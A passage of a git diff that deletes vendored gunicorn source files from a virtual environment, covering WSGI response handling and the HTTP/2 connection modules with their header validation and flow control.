SERVER -from gunicorn import util - -# Send files in at most 1GB blocks as some operating systems can have problems -# with sending files in blocks over 2GB. -BLKSIZE = 0x3FFFFFFF - -# RFC9110 5.5: field-vchar = VCHAR / obs-text -# RFC4234 B.1: VCHAR = 0x21-x07E = printable ASCII -HEADER_VALUE_RE = re.compile(r'[ \t\x21-\x7e\x80-\xff]*') - -log = logging.getLogger(__name__) - - -class FileWrapper: - - def __init__(self, filelike, blksize=8192): - self.filelike = filelike - self.blksize = blksize - if hasattr(filelike, 'close'): - self.close = filelike.close - - def __getitem__(self, key): - data = self.filelike.read(self.blksize) - if data: - return data - raise IndexError - - def __iter__(self): - return self - - def __next__(self): - data = self.filelike.read(self.blksize) - if data: - return data - raise StopIteration - - -class WSGIErrorsWrapper(io.RawIOBase): - - def __init__(self, cfg): - # There is no public __init__ method for RawIOBase so - # we don't need to call super() in the __init__ method. - # pylint: disable=super-init-not-called - errorlog = logging.getLogger("gunicorn.error") - handlers = errorlog.handlers - self.streams = [] - - if cfg.errorlog == "-": - self.streams.append(sys.stderr) - handlers = handlers[1:] - - for h in handlers: - if hasattr(h, "stream"): - self.streams.append(h.stream) - - def write(self, data): - for stream in self.streams: - try: - stream.write(data) - except UnicodeError: - stream.write(data.encode("UTF-8")) - stream.flush() - - -def base_environ(cfg): - return { - "wsgi.errors": WSGIErrorsWrapper(cfg), - "wsgi.version": (1, 0), - "wsgi.multithread": False, - "wsgi.multiprocess": (cfg.workers > 1), - "wsgi.run_once": False, - "wsgi.file_wrapper": FileWrapper, - "wsgi.input_terminated": True, - "SERVER_SOFTWARE": SERVER_SOFTWARE, - } - - -def default_environ(req, sock, cfg): - env = base_environ(cfg) - env.update({ - "wsgi.input": req.body, - "gunicorn.socket": sock, - "REQUEST_METHOD": req.method, - "QUERY_STRING": req.query, - "RAW_URI": req.uri, - "SERVER_PROTOCOL": "HTTP/%s" % ".".join([str(v) for v in req.version]) - }) - return env - - -def proxy_environ(req): - info = req.proxy_protocol_info - - if not info: - return {} - - return { - "PROXY_PROTOCOL": info["proxy_protocol"], - "REMOTE_ADDR": info["client_addr"], - "REMOTE_PORT": str(info["client_port"]), - "PROXY_ADDR": info["proxy_addr"], - "PROXY_PORT": str(info["proxy_port"]), - } - - -def _make_early_hints_callback(req, sock, resp): - """Create a wsgi.early_hints callback for sending 103 Early Hints. - - This allows WSGI applications to send 103 Early Hints responses - before the final response, enabling browsers to preload resources. - - Args: - req: The request object - sock: The socket to write to - resp: The Response object to check if headers have been sent - - Returns: - A callback function that accepts a list of (name, value) header tuples - and sends a 103 Early Hints response. - - Note: - - Early hints are only sent for HTTP/1.1 or later clients - - HTTP/1.0 clients will silently ignore the callback - - Multiple calls are allowed (sending multiple 103 responses) - - Calls after response has started are silently ignored - """ - def send_early_hints(headers): - """Send 103 Early Hints response. - - Args: - headers: List of (name, value) header tuples, typically Link headers - Example: [('Link', '; rel=preload; as=style')] - - Raises: - InvalidHeaderName: If a header name is not a valid HTTP token. - InvalidHeader: If a header value contains invalid characters. - """ - # Don't send after response has started - would break framing - if resp.headers_sent: - return - - # Don't send to HTTP/1.0 clients - they don't support 1xx responses - if req.version < (1, 1): - return - - # Build 103 response - response = b"HTTP/1.1 103 Early Hints\r\n" - for name, value in headers: - if isinstance(name, bytes): - name = name.decode('latin-1') - if isinstance(value, bytes): - value = value.decode('latin-1') - - # Validate header name and value using the same checks as - # Response.process_headers — defense-in-depth against - # HTTP response splitting via CRLF injection. - if not TOKEN_RE.fullmatch(name): - raise InvalidHeaderName('%r' % name) - if not HEADER_VALUE_RE.fullmatch(value): - # Pass only the name — the invalid value may contain - # sensitive data that shouldn't cross security boundaries - # via exception propagation (browsers/proxies may forward - # it to untrusted parties). - raise InvalidHeader('%r' % name) - - value = value.strip(" \t") - response += f"{name}: {value}\r\n".encode('latin-1') - response += b"\r\n" - - util.write(sock, response) - - return send_early_hints - - -def create(req, sock, client, server, cfg): - resp = Response(req, sock, cfg) - - # set initial environ - environ = default_environ(req, sock, cfg) - - # default variables - host = None - script_name = os.environ.get("SCRIPT_NAME", "") - - if req._expected_100_continue: - sock.send(b"HTTP/1.1 100 Continue\r\n\r\n") - # rfc9112: Expect MUST be forwarded if the request is forwarded - # N.B. gunicorn just sends at most one - application might send another - - # add the headers to the environ - for hdr_name, hdr_value in req.headers: - if hdr_name == 'HOST': - host = hdr_value - elif hdr_name == "SCRIPT_NAME": - script_name = hdr_value - elif hdr_name == "CONTENT-TYPE": - environ['CONTENT_TYPE'] = hdr_value - continue - elif hdr_name == "CONTENT-LENGTH": - environ['CONTENT_LENGTH'] = hdr_value - continue - - # do not change lightly, this is a common source of security problems - # RFC9110 Section 17.10 discourages ambiguous or incomplete mappings - key = 'HTTP_' + hdr_name.replace('-', '_') - if key in environ: - hdr_value = "%s,%s" % (environ[key], hdr_value) - environ[key] = hdr_value - - # set the url scheme - environ['wsgi.url_scheme'] = req.scheme - - # set the REMOTE_* keys in environ - # authors should be aware that REMOTE_HOST and REMOTE_ADDR - # may not qualify the remote addr: - # http://www.ietf.org/rfc/rfc3875 - if isinstance(client, str): - environ['REMOTE_ADDR'] = client - elif isinstance(client, bytes): - environ['REMOTE_ADDR'] = client.decode() - else: - environ['REMOTE_ADDR'] = client[0] - environ['REMOTE_PORT'] = str(client[1]) - - # handle the SERVER_* - # Normally only the application should use the Host header but since the - # WSGI spec doesn't support unix sockets, we are using it to create - # viable SERVER_* if possible. - if isinstance(server, str): - server = server.split(":") - if len(server) == 1: - # unix socket - if host: - server = host.split(':') - if len(server) == 1: - if req.scheme == "http": - server.append(80) - elif req.scheme == "https": - server.append(443) - else: - server.append('') - else: - # no host header given which means that we are not behind a - # proxy, so append an empty port. - server.append('') - environ['SERVER_NAME'] = server[0] - environ['SERVER_PORT'] = str(server[1]) - - # set the path and script name - path_info = req.path - if script_name: - if not path_info.startswith(script_name): - raise ConfigurationProblem( - "Request path %r does not start with SCRIPT_NAME %r" % - (path_info, script_name)) - path_info = path_info[len(script_name):] - environ['PATH_INFO'] = util.unquote_to_wsgi_str(path_info) - environ['SCRIPT_NAME'] = script_name - - # override the environ with the correct remote and server address if - # we are behind a proxy using the proxy protocol. - environ.update(proxy_environ(req)) - - # Add wsgi.early_hints callback for sending 103 Early Hints - environ['wsgi.early_hints'] = _make_early_hints_callback(req, sock, resp) - - # Add HTTP/2 stream priority if available - if hasattr(req, 'priority_weight'): - environ['gunicorn.http2.priority_weight'] = req.priority_weight - environ['gunicorn.http2.priority_depends_on'] = req.priority_depends_on - - return resp, environ - - -class Response: - - def __init__(self, req, sock, cfg): - self.req = req - self.sock = sock - self.version = SERVER - self.status = None - self.chunked = False - self.must_close = False - self.headers = [] - self.headers_sent = False - self.response_length = None - self.sent = 0 - self.upgrade = False - self.cfg = cfg - self._omits_body = False - self._omits_body_warned = False - - def force_close(self): - self.must_close = True - - def should_close(self): - if self.must_close or self.req.should_close(): - return True - if self.response_length is not None or self.chunked: - return False - if self.req.method == 'HEAD': - return False - if self.status_code < 200 or self.status_code in (204, 304): - return False - return True - - def start_response(self, status, headers, exc_info=None): - if exc_info: - try: - if self.status and self.headers_sent: - util.reraise(exc_info[0], exc_info[1], exc_info[2]) - finally: - exc_info = None - elif self.status is not None: - raise AssertionError("Response headers already set!") - - self.status = status - - # get the status code from the response here so we can use it to check - # the need for the connection header later without parsing the string - # each time. - try: - self.status_code = int(self.status.split()[0]) - except ValueError: - self.status_code = None - - self.process_headers(headers) - self._omits_body = self._response_omits_body( - self.req.method, self.status_code) - if self._omits_body and self._response_forbids_content_length( - self.status_code): - self.headers = [ - (k, v) for k, v in self.headers if k.lower() != "content-length" - ] - self.response_length = None - self.chunked = self.is_chunked() - return self.write - - @staticmethod - def _response_omits_body(method, status): - # RFC 9110: HEAD requests and 1xx/204/304 responses MUST NOT carry - # a body, regardless of what the application emits. - return ( - method == "HEAD" - or status in (204, 304) - or (status is not None and 100 <= status < 200) - ) - - @staticmethod - def _response_forbids_content_length(status): - # RFC 9110 §6.4.2: a server MUST NOT send Content-Length on 1xx or - # 204. HEAD MAY include the Content-Length the same GET would carry, - # and 304 MAY include the Content-Length of the unconditional response. - return status == 204 or (status is not None and 100 <= status < 200) - - def process_headers(self, headers): - for name, value in headers: - if not isinstance(name, str): - raise TypeError('%r is not a string' % name) - - if not TOKEN_RE.fullmatch(name): - raise InvalidHeaderName('%r' % name) - - if not isinstance(value, str): - raise TypeError('%r is not a string' % value) - - if not HEADER_VALUE_RE.fullmatch(value): - raise InvalidHeader('%r' % value) - - # RFC9110 5.5 - value = value.strip(" \t") - lname = name.lower() - if lname == "content-length": - self.response_length = int(value) - elif util.is_hoppish(name): - if lname == "connection": - # handle websocket - if value.lower() == "upgrade": - self.upgrade = True - elif lname == "upgrade": - if value.lower() == "websocket": - self.headers.append((name, value)) - - # ignore hopbyhop headers - continue - self.headers.append((name, value)) - - def is_chunked(self): - # Only use chunked responses when the client is - # speaking HTTP/1.1 or newer and there was - # no Content-Length header set. - if self.response_length is not None: - return False - elif self.req.version <= (1, 0): - return False - elif self._omits_body: - # No body permitted (HEAD or 1xx/204/304), so no chunked framing. - return False - return True - - def default_headers(self): - # set the connection header - if self.upgrade: - connection = "upgrade" - elif self.should_close(): - connection = "close" - else: - connection = "keep-alive" - - headers = [ - "HTTP/%s.%s %s\r\n" % (self.req.version[0], - self.req.version[1], self.status), - "Server: %s\r\n" % self.version, - "Date: %s\r\n" % util.http_date(), - "Connection: %s\r\n" % connection - ] - if self.chunked: - headers.append("Transfer-Encoding: chunked\r\n") - return headers - - def send_headers(self): - if self.headers_sent: - return - tosend = self.default_headers() - tosend.extend(["%s: %s\r\n" % (k, v) for k, v in self.headers]) - - header_str = "%s\r\n" % "".join(tosend) - util.write(self.sock, util.to_bytestring(header_str, "latin-1")) - self.headers_sent = True - - def write(self, arg): - self.send_headers() - if not isinstance(arg, bytes): - raise TypeError('%r is not a byte' % arg) - if self._omits_body: - if arg and not self._omits_body_warned: - log.warning( - "WSGI app sent body bytes on a no-body response " - "(method=%s status=%s); dropping per RFC 9110.", - self.req.method, self.status_code, - ) - self._omits_body_warned = True - return - arglen = len(arg) - tosend = arglen - if self.response_length is not None: - if self.sent >= self.response_length: - # Never write more than self.response_length bytes - return - - tosend = min(self.response_length - self.sent, tosend) - if tosend < arglen: - arg = arg[:tosend] - - # Sending an empty chunk signals the end of the - # response and prematurely closes the response - if self.chunked and tosend == 0: - return - - self.sent += tosend - util.write(self.sock, arg, self.chunked) - - def can_sendfile(self): - return self.cfg.sendfile is not False - - def sendfile(self, respiter): - if self.cfg.is_ssl or not self.can_sendfile(): - return False - - if not util.has_fileno(respiter.filelike): - return False - - fileno = respiter.filelike.fileno() - try: - offset = os.lseek(fileno, 0, os.SEEK_CUR) - if self.response_length is None: - filesize = os.fstat(fileno).st_size - nbytes = filesize - offset - else: - nbytes = self.response_length - except (OSError, io.UnsupportedOperation): - return False - - if self._omits_body: - self.send_headers() - # Only complain when there really are body bytes to drop, the - # same way write() only warns for a non-empty argument. - if nbytes > 0 and not self._omits_body_warned: - log.warning( - "WSGI app sent body bytes on a no-body response " - "(method=%s status=%s); dropping per RFC 9110.", - self.req.method, self.status_code, - ) - self._omits_body_warned = True - return True - - self.send_headers() - - if self.is_chunked(): - chunk_size = "%X\r\n" % nbytes - self.sock.sendall(chunk_size.encode('utf-8')) - if nbytes > 0: - self.sock.sendfile(respiter.filelike, offset=offset, count=nbytes) - - if self.is_chunked(): - self.sock.sendall(b"\r\n") - - os.lseek(fileno, offset, os.SEEK_SET) - - return True - - def write_file(self, respiter): - if not self.sendfile(respiter): - for item in respiter: - self.write(item) - - def close(self): - if not self.headers_sent: - self.send_headers() - if self.chunked: - util.write_chunk(self.sock, b"") diff --git a/venv/Lib/site-packages/gunicorn/http2/__init__.py b/venv/Lib/site-packages/gunicorn/http2/__init__.py deleted file mode 100644 index e860677c5fed00d4b049c6789399eeae20afcfc8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/__init__.py +++ /dev/null @@ -1,86 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP/2 support for Gunicorn. - -This module provides HTTP/2 protocol support using the hyper-h2 library. -HTTP/2 requires TLS with ALPN negotiation. -""" - -H2_MIN_VERSION = (4, 1, 0) - -_h2_available = None -_h2_version = None - - -def is_http2_available(): - """Check if HTTP/2 support is available. - - Returns: - bool: True if the h2 library is installed with minimum required version. - """ - global _h2_available, _h2_version # pylint: disable=global-statement - - if _h2_available is not None: - return _h2_available - - try: - import h2 - version_str = getattr(h2, '__version__', '0.0.0') - version_parts = tuple(int(x) for x in version_str.split('.')[:3]) - _h2_version = version_parts - _h2_available = version_parts >= H2_MIN_VERSION - except ImportError: - _h2_available = False - _h2_version = None - - return _h2_available - - -def get_h2_version(): - """Get the installed h2 library version. - - Returns: - tuple: Version tuple (major, minor, patch) or None if not installed. - """ - if _h2_version is None: - is_http2_available() # Populate _h2_version - return _h2_version - - -def get_http2_connection_class(): - """Get the HTTP2ServerConnection class if h2 is available. - - Returns: - HTTP2ServerConnection class, or raises HTTP2NotAvailable - """ - if not is_http2_available(): - from .errors import HTTP2NotAvailable - raise HTTP2NotAvailable() - from .connection import HTTP2ServerConnection - return HTTP2ServerConnection - - -def get_async_http2_connection_class(): - """Get the AsyncHTTP2Connection class if h2 is available. - - Returns: - AsyncHTTP2Connection class, or raises HTTP2NotAvailable - """ - if not is_http2_available(): - from .errors import HTTP2NotAvailable - raise HTTP2NotAvailable() - from .async_connection import AsyncHTTP2Connection - return AsyncHTTP2Connection - - -__all__ = [ - 'is_http2_available', - 'get_h2_version', - 'get_http2_connection_class', - 'get_async_http2_connection_class', - 'H2_MIN_VERSION', -] diff --git a/venv/Lib/site-packages/gunicorn/http2/async_connection.py b/venv/Lib/site-packages/gunicorn/http2/async_connection.py deleted file mode 100644 index b738e286c998628a26e394f5b8b506839dca0148..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/async_connection.py +++ /dev/null @@ -1,595 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Async HTTP/2 server connection implementation for ASGI workers. - -Uses the hyper-h2 library for HTTP/2 protocol handling with -asyncio for non-blocking I/O. -""" - -import asyncio - -from .errors import ( - HTTP2Error, HTTP2ProtocolError, HTTP2ConnectionError, - HTTP2NotAvailable, HTTP2ErrorCode, -) -from .stream import HTTP2Stream -from .request import HTTP2Request - - -# Import h2 lazily to allow graceful fallback -_h2 = None -_h2_config = None -_h2_events = None -_h2_exceptions = None -_h2_settings = None - - -def _import_h2(): - """Lazily import h2 library components.""" - global _h2, _h2_config, _h2_events, _h2_exceptions, _h2_settings # pylint: disable=global-statement - - if _h2 is not None: - return - - try: - import h2.connection as _h2 - import h2.config as _h2_config - import h2.events as _h2_events - import h2.exceptions as _h2_exceptions - import h2.settings as _h2_settings - except ImportError: - raise HTTP2NotAvailable() - - -class AsyncHTTP2Connection: - """Async HTTP/2 server-side connection handler for ASGI. - - Manages the HTTP/2 connection state and multiplexed streams - using asyncio for non-blocking I/O operations. - """ - - # Default buffer size for socket reads - READ_BUFFER_SIZE = 65536 - - def __init__(self, cfg, reader, writer, client_addr): - """Initialize an async HTTP/2 server connection. - - Args: - cfg: Gunicorn configuration object - reader: asyncio StreamReader - writer: asyncio StreamWriter - client_addr: Client address tuple (host, port) - - Raises: - HTTP2NotAvailable: If h2 library is not installed - """ - _import_h2() - - self.cfg = cfg - self.reader = reader - self.writer = writer - self.client_addr = client_addr - - # Active streams indexed by stream ID - self.streams = {} - - # Queue of completed requests for the worker - self._request_queue = asyncio.Queue() - - # Connection settings from config - self.initial_window_size = cfg.http2_initial_window_size - self.max_concurrent_streams = cfg.http2_max_concurrent_streams - self.max_frame_size = cfg.http2_max_frame_size - self.max_header_list_size = cfg.http2_max_header_list_size - - # Initialize h2 connection - config = _h2_config.H2Configuration( - client_side=False, - header_encoding='utf-8', - ) - self.h2_conn = _h2.H2Connection(config=config) - - # Connection state - self._closed = False - self._initialized = False - self._receive_task = None - - async def initiate_connection(self): - """Send initial HTTP/2 settings to client. - - Should be called after the SSL handshake completes and - before processing any data. - """ - if self._initialized: - return - - # Update local settings before initiating - self.h2_conn.update_settings({ - _h2_settings.SettingCodes.MAX_CONCURRENT_STREAMS: self.max_concurrent_streams, - _h2_settings.SettingCodes.INITIAL_WINDOW_SIZE: self.initial_window_size, - _h2_settings.SettingCodes.MAX_FRAME_SIZE: self.max_frame_size, - _h2_settings.SettingCodes.MAX_HEADER_LIST_SIZE: self.max_header_list_size, - }) - - self.h2_conn.initiate_connection() - await self._send_pending_data() - self._initialized = True - - async def receive_data(self, timeout=None): - """Receive data and return completed requests. - - Args: - timeout: Optional timeout in seconds for read operation - - Returns: - list: List of HTTP2Request objects for completed requests - - Raises: - HTTP2ConnectionError: On protocol or connection errors - asyncio.TimeoutError: If timeout expires - """ - try: - if timeout is not None: - data = await asyncio.wait_for( - self.reader.read(self.READ_BUFFER_SIZE), - timeout=timeout - ) - else: - data = await self.reader.read(self.READ_BUFFER_SIZE) - except (OSError, IOError) as e: - raise HTTP2ConnectionError(f"Socket read error: {e}") - - if not data: - # Connection closed by peer - self._closed = True - return [] - - # Feed data to h2 - # Note: Specific exceptions must come before ProtocolError (their parent class) - try: - events = self.h2_conn.receive_data(data) - except _h2_exceptions.FlowControlError as e: - # Send GOAWAY with FLOW_CONTROL_ERROR - await self.close(error_code=HTTP2ErrorCode.FLOW_CONTROL_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.FrameTooLargeError as e: - # Send GOAWAY with FRAME_SIZE_ERROR - await self.close(error_code=HTTP2ErrorCode.FRAME_SIZE_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.InvalidSettingsValueError as e: - # Use error_code from h2 exception (RFC 7540 Section 6.5.2): - # INITIAL_WINDOW_SIZE > 2^31-1 gives FLOW_CONTROL_ERROR - # Other invalid settings give PROTOCOL_ERROR - error_code = getattr(e, 'error_code', None) - if error_code is not None: - await self.close(error_code=error_code) - else: - await self.close(error_code=HTTP2ErrorCode.PROTOCOL_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.TooManyStreamsError as e: - # Send GOAWAY with REFUSED_STREAM - await self.close(error_code=HTTP2ErrorCode.REFUSED_STREAM) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.ProtocolError as e: - # Send GOAWAY with PROTOCOL_ERROR before raising - await self.close(error_code=HTTP2ErrorCode.PROTOCOL_ERROR) - raise HTTP2ProtocolError(str(e)) - - # Process events - completed_requests = [] - for event in events: - request = self._handle_event(event) - if request is not None: - completed_requests.append(request) - - # Send any pending data (WINDOW_UPDATE, etc.) - await self._send_pending_data() - - return completed_requests - - def _handle_event(self, event): - """Handle a single h2 event. - - Args: - event: h2 event object - - Returns: - HTTP2Request if a request is complete, None otherwise - """ - if isinstance(event, _h2_events.RequestReceived): - return self._handle_request_received(event) - - elif isinstance(event, _h2_events.DataReceived): - return self._handle_data_received(event) - - elif isinstance(event, _h2_events.StreamEnded): - return self._handle_stream_ended(event) - - elif isinstance(event, _h2_events.StreamReset): - self._handle_stream_reset(event) - - elif isinstance(event, _h2_events.WindowUpdated): - pass # Flow control update, handled by h2 - - elif isinstance(event, _h2_events.PriorityUpdated): - self._handle_priority_updated(event) - - elif isinstance(event, _h2_events.SettingsAcknowledged): - pass # Settings ACK received - - elif isinstance(event, _h2_events.ConnectionTerminated): - self._handle_connection_terminated(event) - - elif isinstance(event, _h2_events.TrailersReceived): - return self._handle_trailers_received(event) - - return None - - def _handle_request_received(self, event): - """Handle RequestReceived event (HEADERS frame).""" - stream_id = event.stream_id - headers = event.headers - - # Create new stream - stream = HTTP2Stream(stream_id, self) - self.streams[stream_id] = stream - - # Process headers - stream.receive_headers(headers, end_stream=False) - - def _handle_data_received(self, event): - """Handle DataReceived event.""" - stream_id = event.stream_id - data = event.data - - stream = self.streams.get(stream_id) - if stream is None: - return None - - stream.receive_data(data, end_stream=False) - - # Increment flow control windows (only if data received) - if len(data) > 0: - try: - # Update stream-level window - self.h2_conn.increment_flow_control_window(len(data), stream_id=stream_id) - # Update connection-level window - self.h2_conn.increment_flow_control_window(len(data), stream_id=None) - except (ValueError, _h2_exceptions.FlowControlError): - # Window overflow - prepare GOAWAY with FLOW_CONTROL_ERROR - # (will be sent by receive_data's _send_pending_data call) - self._closed = True - try: - self.h2_conn.close_connection(error_code=HTTP2ErrorCode.FLOW_CONTROL_ERROR) - except Exception: - pass - - return None - - def _handle_stream_ended(self, event): - """Handle StreamEnded event.""" - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is None: - return None - - # Mark stream as request complete and body complete so the - # receive() closure's _body_complete guard fires, preventing - # the fast path from re-reading already-consumed data from BytesIO. - stream.request_complete = True - stream._body_complete = True - if stream._body_event: - stream._body_event.set() - - return HTTP2Request(stream, self.cfg, self.client_addr) - - def _handle_stream_reset(self, event): - """Handle StreamReset event.""" - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is not None: - stream.reset(event.error_code) - - def _handle_connection_terminated(self, event): - """Handle ConnectionTerminated event.""" - self._closed = True - - def _handle_trailers_received(self, event): - """Handle TrailersReceived event.""" - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is None: - return None - - stream.receive_trailers(event.headers) - return HTTP2Request(stream, self.cfg, self.client_addr) - - def _handle_priority_updated(self, event): - """Handle PriorityUpdated event (PRIORITY frame). - - Args: - event: PriorityUpdated event with priority info - """ - stream = self.streams.get(event.stream_id) - if stream is not None: - stream.update_priority( - weight=event.weight, - depends_on=event.depends_on, - exclusive=event.exclusive - ) - - async def send_informational(self, stream_id, status, headers): - """Send an informational response (1xx) on a stream. - - This is used for 103 Early Hints and other 1xx responses. - Informational responses are sent before the final response - and do not end the stream. - - Args: - stream_id: The stream ID - status: HTTP status code (100-199) - headers: List of (name, value) header tuples - - Raises: - HTTP2Error: If status is not in 1xx range - """ - if status < 100 or status >= 200: - raise HTTP2Error(f"Invalid informational status: {status}") - - stream = self.streams.get(stream_id) - if stream is None: - raise HTTP2Error(f"Stream {stream_id} not found") - - # Build headers with :status pseudo-header - response_headers = [(':status', str(status))] - for name, value in headers: - # HTTP/2 headers must be lowercase - response_headers.append((name.lower(), str(value))) - - # Send headers with end_stream=False (informational, more to follow) - self.h2_conn.send_headers(stream_id, response_headers, end_stream=False) - await self._send_pending_data() - - async def send_response(self, stream_id, status, headers, body=None): - """Send a response on a stream. - - Args: - stream_id: The stream ID to respond on - status: HTTP status code (int) - headers: List of (name, value) header tuples - body: Optional response body bytes - - Returns: - bool: True if response sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - # Stream was already cleaned up (reset/closed) - return gracefully - return False - - # Build response headers with :status pseudo-header - response_headers = [(':status', str(status))] - for name, value in headers: - response_headers.append((name.lower(), str(value))) - - end_stream = body is None or len(body) == 0 - - try: - # Send headers - self.h2_conn.send_headers(stream_id, response_headers, end_stream=end_stream) - stream.send_headers(response_headers, end_stream=end_stream) - await self._send_pending_data() - - # Send body if present - if body and len(body) > 0: - await self.send_data(stream_id, body, end_stream=True) - return True - except _h2_exceptions.StreamClosedError: - # Stream was reset by client - clean up gracefully - stream.close() - self.cleanup_stream(stream_id) - return False - - async def _wait_for_flow_control_window(self, stream_id): - """Wait for flow control window to become positive. - - Returns: - int: Available window size, or -1 if waiting failed - """ - max_wait_attempts = 50 # ~5 seconds at 100ms per attempt - for _ in range(max_wait_attempts): - available = self.h2_conn.local_flow_control_window(stream_id) - if available > 0: - return available - - # Read more data from connection (may receive WINDOW_UPDATE) - try: - incoming = await asyncio.wait_for( - self.reader.read(self.READ_BUFFER_SIZE), - timeout=0.1 - ) - if incoming: - events = self.h2_conn.receive_data(incoming) - # Process events but don't create new requests - for event in events: - if isinstance(event, _h2_events.StreamReset): - if event.stream_id == stream_id: - return -1 - elif isinstance(event, _h2_events.ConnectionTerminated): - self._closed = True - return -1 - await self._send_pending_data() - else: - # Connection closed - self._closed = True - return -1 - except asyncio.TimeoutError: - continue - except _h2_exceptions.ProtocolError: - return -1 - - return self.h2_conn.local_flow_control_window(stream_id) - - async def send_data(self, stream_id, data, end_stream=False): - """Send data on a stream. - - Args: - stream_id: The stream ID - data: Body data bytes - end_stream: Whether this ends the stream - - Returns: - bool: True if data sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - return False - - data_to_send = data - try: - while data_to_send: - available = self.h2_conn.local_flow_control_window(stream_id) - chunk_size = min(available, self.max_frame_size, len(data_to_send)) - - if chunk_size <= 0: - # Wait for WINDOW_UPDATE per RFC 7540 Section 6.9.2 - await self._send_pending_data() - available = await self._wait_for_flow_control_window(stream_id) - if available <= 0: - return False - chunk_size = min(available, self.max_frame_size, len(data_to_send)) - - chunk = data_to_send[:chunk_size] - data_to_send = data_to_send[chunk_size:] - is_final = end_stream and len(data_to_send) == 0 - - self.h2_conn.send_data(stream_id, chunk, end_stream=is_final) - await self._send_pending_data() - - stream.send_data(data, end_stream=end_stream) - return True - except (_h2_exceptions.StreamClosedError, _h2_exceptions.FlowControlError): - stream.close() - self.cleanup_stream(stream_id) - return False - - async def send_trailers(self, stream_id, trailers): - """Send trailing headers on a stream. - - Trailers are headers sent after the response body, commonly used - for gRPC status codes, checksums, and timing information. - - Args: - stream_id: The stream ID - trailers: List of (name, value) trailer tuples - - Raises: - HTTP2Error: If stream not found, headers not sent, or pseudo-headers used - - Returns: - bool: True if trailers sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - # Stream was already cleaned up (reset/closed) - return gracefully - return False - if not stream.response_headers_sent: - # Can't send trailers without headers - return False - return False - - # Validate and normalize trailer headers - trailer_headers = [] - for name, value in trailers: - lname = name.lower() - if lname.startswith(':'): - raise HTTP2Error(f"Pseudo-header '{name}' not allowed in trailers") - trailer_headers.append((lname, str(value))) - - try: - # Send trailers with end_stream=True - self.h2_conn.send_headers(stream_id, trailer_headers, end_stream=True) - stream.send_trailers(trailer_headers) - await self._send_pending_data() - return True - except _h2_exceptions.StreamClosedError: - # Stream was reset by client - clean up gracefully - stream.close() - self.cleanup_stream(stream_id) - return False - - async def send_error(self, stream_id, status_code, message=None): - """Send an error response on a stream.""" - body = message.encode() if message else b'' - headers = [('content-length', str(len(body)))] - if body: - headers.append(('content-type', 'text/plain; charset=utf-8')) - - await self.send_response(stream_id, status_code, headers, body) - - async def reset_stream(self, stream_id, error_code=0x8): - """Reset a stream with RST_STREAM.""" - stream = self.streams.get(stream_id) - if stream is not None: - stream.reset(error_code) - - self.h2_conn.reset_stream(stream_id, error_code=error_code) - await self._send_pending_data() - - async def close(self, error_code=0x0, last_stream_id=None): - """Close the connection gracefully with GOAWAY.""" - if self._closed: - return - - self._closed = True - - if last_stream_id is None: - last_stream_id = max(self.streams.keys()) if self.streams else 0 - - try: - self.h2_conn.close_connection(error_code=error_code) - await self._send_pending_data() - except Exception: - pass - - try: - self.writer.close() - await self.writer.wait_closed() - except Exception: - pass - - async def _send_pending_data(self): - """Send any pending data from h2 to the socket.""" - data = self.h2_conn.data_to_send() - if data: - try: - self.writer.write(data) - await self.writer.drain() - except (OSError, IOError) as e: - self._closed = True - raise HTTP2ConnectionError(f"Socket write error: {e}") - - @property - def is_closed(self): - """Check if connection is closed.""" - return self._closed - - def cleanup_stream(self, stream_id): - """Remove a stream after processing is complete.""" - self.streams.pop(stream_id, None) - - def __repr__(self): - return ( - f"" - ) - - -__all__ = ['AsyncHTTP2Connection'] diff --git a/venv/Lib/site-packages/gunicorn/http2/connection.py b/venv/Lib/site-packages/gunicorn/http2/connection.py deleted file mode 100644 index a37fb8cb63d8a69300da99a57eae17950afc38d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/connection.py +++ /dev/null @@ -1,663 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP/2 server connection implementation. - -Uses the hyper-h2 library for HTTP/2 protocol handling. -""" - -from io import BytesIO - -from .errors import ( - HTTP2Error, HTTP2ProtocolError, HTTP2ConnectionError, - HTTP2NotAvailable, HTTP2ErrorCode, -) -from .stream import HTTP2Stream -from .request import HTTP2Request - - -# Import h2 lazily to allow graceful fallback -_h2 = None -_h2_config = None -_h2_events = None -_h2_exceptions = None -_h2_settings = None - - -def _import_h2(): - """Lazily import h2 library components.""" - global _h2, _h2_config, _h2_events, _h2_exceptions, _h2_settings # pylint: disable=global-statement - - if _h2 is not None: - return - - try: - import h2.connection as _h2 - import h2.config as _h2_config - import h2.events as _h2_events - import h2.exceptions as _h2_exceptions - import h2.settings as _h2_settings - except ImportError: - raise HTTP2NotAvailable() - - -class HTTP2ServerConnection: - """HTTP/2 server-side connection handler. - - Manages the HTTP/2 connection state and multiplexed streams. - This class wraps the h2 library and provides a higher-level - interface for gunicorn workers. - """ - - # Default buffer size for socket reads - READ_BUFFER_SIZE = 65536 - - def __init__(self, cfg, sock, client_addr): - """Initialize an HTTP/2 server connection. - - Args: - cfg: Gunicorn configuration object - sock: SSL socket with completed handshake - client_addr: Client address tuple (host, port) - - Raises: - HTTP2NotAvailable: If h2 library is not installed - """ - _import_h2() - - self.cfg = cfg - self.sock = sock - self.client_addr = client_addr - - # Active streams indexed by stream ID - self.streams = {} - - # Completed requests ready for processing - self._pending_requests = [] - - # Connection settings from config - self.initial_window_size = cfg.http2_initial_window_size - self.max_concurrent_streams = cfg.http2_max_concurrent_streams - 